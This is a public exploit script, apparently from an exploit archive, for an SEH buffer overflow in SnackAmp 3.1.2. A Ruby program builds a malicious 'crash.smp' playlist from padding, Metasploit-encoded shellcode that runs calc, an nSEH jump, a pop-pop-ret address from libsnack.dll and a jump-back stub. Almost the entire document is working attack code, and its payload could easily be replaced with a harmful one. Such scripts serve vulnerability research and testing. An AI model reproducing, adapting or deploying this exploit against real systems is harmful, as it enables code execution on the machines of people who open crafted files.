SnackAmp 3.1.2 – SMP Buffer Overflow (SEH)
# Exploit Title: SnackAmp 3.1.2 Malicious SMP Buffer Overflow Vulnerability (SEH) # Date: 08/28/10 # Author: james [AT] learnsecurityonline [DOT] com # Software Link: http://sourceforge.net/projects/snackamp/ # Version: 3.1.2 # Tested on: Windows XP SP3 EN # CVE: N/A # Shoutz to MC, Thanks bro! #! /usr/bin/env ruby nSEH = [0x909006eb].pack('V') SEH = [0x016e52b7].pack('V') # pop pop ret from libsnack.dll # windows/exec - 144 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc payload = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc" payload << "\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78" payload << "\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85" payload << "\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5" payload << "\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c" payload << "\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21" payload << "\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5" payload << "\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27" payload << "\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3" payload << "\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53" payload << "\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f" payload << "\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6" payload << "\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8" payload << "\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" payload << "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f" payload << "\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca" junk = "\x41" * (10580 - payload.length) jmp_back = "\xe9\x62\xff\xff\xff" # jmp $-153 File.open("crash.smp", 'w') do |b| b.write junk + payload + nSEH + SEH + jmp_back end |